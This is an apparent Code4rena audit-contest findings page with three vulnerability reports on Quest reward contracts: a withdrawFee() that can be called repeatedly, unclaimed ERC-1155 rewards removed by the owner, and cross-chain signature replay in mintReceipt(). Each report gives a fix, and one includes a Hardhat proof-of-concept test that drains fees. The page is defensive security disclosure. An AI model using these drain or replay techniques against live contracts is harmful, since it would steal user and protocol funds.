Platform: Code4rena
Start Date: 25/01/2023
Pot Size: $36,500 USDC
Total HM: 11
Participants: 173
Period: 5 days
Judge: kirk-baird
Total Solo HM: 1
Id: 208
League: ETH
Rank: 57/173
Findings: 4
Award: $43.70
š Selected for report: 0
š Solo Findings: 0
š Selected for report: adriro
Also found by: 0xRobocop, 0xmrhoodie, 0xngndev, AkshaySrivastav, ArmedGoose, Atarpara, Bauer, CodingNameKiki, ElKu, Garrett, HollaDieWaldfee, IllIllI, Iurii3, KIntern_NA, KmanOfficial, Lotus, M4TZ1P, MiniGlome, Ruhum, SovaSlava, bin2chen, bytes032, carrotsmuggler, cccz, chaduke, codeislight, cryptonue, doublesharp, evan, fs0c, glcanvas, gzeon, hansfriese, hihen, hl_, holme, horsefacts, ladboy233, lukris02, mahdikarimi, manikantanynala97, martin, mert_eren, mrpathfindr, omis, peakbolt, peanuts, prestoncodes, rbserver, rvierdiiev, sashik_eth, timongty, tnevler, trustindistrust, usmannk, wait, yixxas, zadaru13, zaskoh
0.7512 USDC - $0.75
All reward tokens in Erc20Quest can be drained by anyone. Unclaimed users and the quest owner may lose tokens.
The protocol fee should only be allowed to be withdrawn once, but there are no restrictions in Erc20Quest.withdrawFee()
:
function withdrawFee() public onlyAdminWithdrawAfterEnd { IERC20(rewardToken).safeTransfer(protocolFeeRecipient, protocolFee()); }
Therefore, anyone can call withdrawFee()
after endTime
to transfer all or most of the remaining reward tokens in the contract to protocolFeeRecipient.
Test code for PoC:
diff --git a/test/Erc20Quest.spec.ts b/test/Erc20Quest.spec.ts index d0626ee..cbfe3fa 100644 --- a/test/Erc20Quest.spec.ts +++ b/test/Erc20Quest.spec.ts @@ -374,5 +374,47 @@ describe('Erc20Quest', async () => { await ethers.provider.send('evm_increaseTime', [-100001]) await ethers.provider.send('evm_increaseTime', [-86400]) }) + + it.only('withdraw protocol fees repeatedly', async () => { + const beginningContractBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address) + // mint receipts + const mintCount = 10 + const users = await ethers.getSigners() + for (let i = 0; i < mintCount; i++) { + let hash = utils.solidityKeccak256(['address', 'string'], [users[i].address.toLowerCase(), questId]) + let sig = await wallet.signMessage(utils.arrayify(hash)) + await deployedFactoryContract.connect(users[i]).mintReceipt(questId, hash, sig) + } + expect(await deployedQuestContract.receiptRedeemers()).to.equal(mintCount) + + await deployedQuestContract.start() + await ethers.provider.send('evm_increaseTime', [86400]) + await ethers.provider.send('evm_increaseTime', [100001]) + + // protocolFee = 1000 * 10 * 20% = 2000 + const protocolFee = mintCount * rewardAmount * questFee / 10_000 + expect(protocolFee).to.equal(2000) + expect(await deployedQuestContract.protocolFee()).to.equal(protocolFee) + + // first withdrawFee + expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(0) + await deployedQuestContract.withdrawFee() + expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(protocolFee) + + let remainBalance = await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address) + expect(remainBalance).to.equal(totalRewardsPlusFee * 100 - protocolFee) + // repeat withdrawFee 99 times + // in fact, it can be called repeatedly until the balance in the quest contract is not enough (drain) + for (let i = 0; i < 99; i++) { + const preProtocolBal = await deployedSampleErc20Contract.balanceOf(protocolFeeAddress) + await deployedQuestContract.withdrawFee() + // fee was successfully withdrawn + expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(preProtocolBal.add(protocolFee)) + } + + // 100 * protocolFee was withdrawn + expect(await deployedSampleErc20Contract.balanceOf(protocolFeeAddress)).to.equal(protocolFee * 100) + expect(await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)).to.equal(beginningContractBalance.sub(protocolFee * 100)) + }) }) })
Test outputs:
yarn run v1.22.15 $ yarn compile $ rimraf ./build/ $ npx hardhat compile Nothing to compile No need to generate any newer typings. $ npx hardhat test Erc20Quest withdrawFee() ā withdraw protocol fees repeatedly 1 passing (5s) ⨠Done in 11.23s.
VS Code
We should revert Erc20Quest.withdrawFee()
if it is not called for the first time:
diff --git a/contracts/Erc20Quest.sol b/contracts/Erc20Quest.sol index 868a790..4f90c7f 100644 --- a/contracts/Erc20Quest.sol +++ b/contracts/Erc20Quest.sol @@ -13,6 +13,7 @@ contract Erc20Quest is Quest { uint256 public immutable questFee; address public immutable protocolFeeRecipient; QuestFactory public immutable questFactoryContract; + bool public feeAlreadyWithdrawn; constructor( address rewardTokenAddress_, @@ -100,6 +101,10 @@ contract Erc20Quest is Quest { /// @notice Sends the protocol fee to the protocolFeeRecipient /// @dev Only callable when the quest is ended function withdrawFee() public onlyAdminWithdrawAfterEnd { + if (feeAlreadyWithdrawn){ + revert FeeAlreadyWithdrawn(); + } + feeAlreadyWithdrawn = true; IERC20(rewardToken).safeTransfer(protocolFeeRecipient, protocolFee()); } } diff --git a/contracts/interfaces/IQuest.sol b/contracts/interfaces/IQuest.sol index 65d8173..5db6b35 100644 --- a/contracts/interfaces/IQuest.sol +++ b/contracts/interfaces/IQuest.sol @@ -7,6 +7,7 @@ interface IQuest { // This event is triggered whenever a call to #claim succeeds. event Claimed(address account, uint256 amount); + error FeeAlreadyWithdrawn(); error AlreadyClaimed(); error NoTokensToClaim(); error EndTimeInPast(); diff --git a/hardhat.config.ts b/hardhat.config.ts index 5751c28..bc6a3cf 100644 --- a/hardhat.config.ts +++ b/hardhat.config.ts @@ -43,6 +43,7 @@ const config: HardhatUserConfig = { networks: { hardhat: { chainId: 1337, + allowUnlimitedContractSize: true, settings: { debug: { revertStrings: 'debug',
#0 - c4-judge
2023-02-05T02:36:57Z
kirk-baird marked the issue as duplicate of #23
#1 - c4-judge
2023-02-14T09:00:27Z
kirk-baird marked the issue as satisfactory
š Selected for report: RaymondFam
Also found by: 0xMirce, AkshaySrivastav, AlexCzm, Aymen0909, BClabs, CodingNameKiki, ElKu, HollaDieWaldfee, Josiah, KIntern_NA, MiniGlome, StErMi, adriro, bin2chen, cccz, chaduke, csanuragjain, gzeon, hihen, holme, libratus, minhquanym, omis, peakbolt, peanuts, rbserver, rvierdiiev, timongty, ubermensch, usmannk, wait, zaskoh
7.046 USDC - $7.05
Quest.claim() will always revert after Erc1155Quest.withdrawRemainingTokens() has been called. Unclaimed users/receipts will not be able to claim, their rewards will lose.
Erc1155Quest.withdrawRemainingTokens() will withdraw all remaining tokens including unclaimed tokens:
function withdrawRemainingTokens(address to_) public override onlyOwner { super.withdrawRemainingTokens(to_); IERC1155(rewardToken).safeTransferFrom( address(this), to_, rewardAmountInWeiOrTokenId, IERC1155(rewardToken).balanceOf(address(this), rewardAmountInWeiOrTokenId), '0x00' ); }
Therefore, after it's called, anyone calling claim()
will revert because there are no reward tokens left in the contract.
While the Erc20Quest.withdrawRemainingTokens()
will leave the unclaimedTokens in the contract for claim()
:
function withdrawRemainingTokens(address to_) public override onlyOwner { super.withdrawRemainingTokens(to_); uint unclaimedTokens = (receiptRedeemers() - redeemedTokens) * rewardAmountInWeiOrTokenId; uint256 nonClaimableTokens = IERC20(rewardToken).balanceOf(address(this)) - protocolFee() - unclaimedTokens; IERC20(rewardToken).safeTransfer(to_, nonClaimableTokens); }
VS Code
We should leave the unclaimed tokens in the contract when calling Erc1155Quest.withdrawRemainingTokens(), just as the Erc20Quest.withdrawRemainingTokens()
did.
#0 - c4-judge
2023-02-05T02:39:08Z
kirk-baird marked the issue as duplicate of #42
#1 - c4-judge
2023-02-10T05:03:11Z
kirk-baird changed the severity to QA (Quality Assurance)
#2 - c4-judge
2023-02-10T05:12:15Z
This previously downgraded issue has been upgraded by kirk-baird
#3 - c4-judge
2023-02-14T09:28:17Z
kirk-baird marked the issue as satisfactory
#4 - c4-judge
2023-02-23T23:49:21Z
kirk-baird changed the severity to 2 (Med Risk)
š Selected for report: AkshaySrivastav
Also found by: KIntern_NA, SovaSlava, Tointer, Tricko, V_B, __141345__, betweenETHlines, bin2chen, cccz, critical-or-high, glcanvas, halden, hihen, jesusrod15, ladboy233, libratus, m9800, minhquanym, omis, peakbolt, rbserver, romand, rvierdiiev, wait, zaskoh
18.6976 USDC - $18.70
An attacker could launch a replay attack to mint receipts without claimSignerAddress's agreement on other chains.
The attacker may obtain a valid signature on any EVM chain ( including testnets ), and then launch a replay attack on any other EVM chain, as long as the QuestFactory has the same claimSignerAddress
and a Quest with the same questId
exists.
It may also be replayed on the same chain if a new QuestFactory is deployed.
The message to be signed by the claimSignerAddress
does not contain information of the current chain and current contract, see QuestFactory#L222-L223:
function mintReceipt(string memory questId_, bytes32 hash_, bytes memory signature_) public { ... if (keccak256(abi.encodePacked(msg.sender, questId_)) != hash_) revert InvalidHash(); if (recoverSigner(hash_, signature_) != claimSignerAddress) revert AddressNotSigned(); ... }
Therefore, the signature_
is valid on all EVM-compatible chains, and users can use one signature_
to mintReceipt()
from any QuestFactory on any EVM chains, as long as the QuestFactory has the same claimSignerAddress
and a Quest with the same questId
exists.
VS Code
Simple option: Add block.chainid
and address of QuestFactory to the message to be signed:
if (keccak256(abi.encodePacked(block.chainid, address(this), msg.sender, questId_)) != hash_) revert InvalidHash();
Advanced option: Adopt the hashing and signing scheme of eip-712.
#0 - c4-judge
2023-02-05T02:38:10Z
kirk-baird marked the issue as duplicate of #45
#1 - c4-judge
2023-02-14T09:39:07Z
kirk-baird marked the issue as satisfactory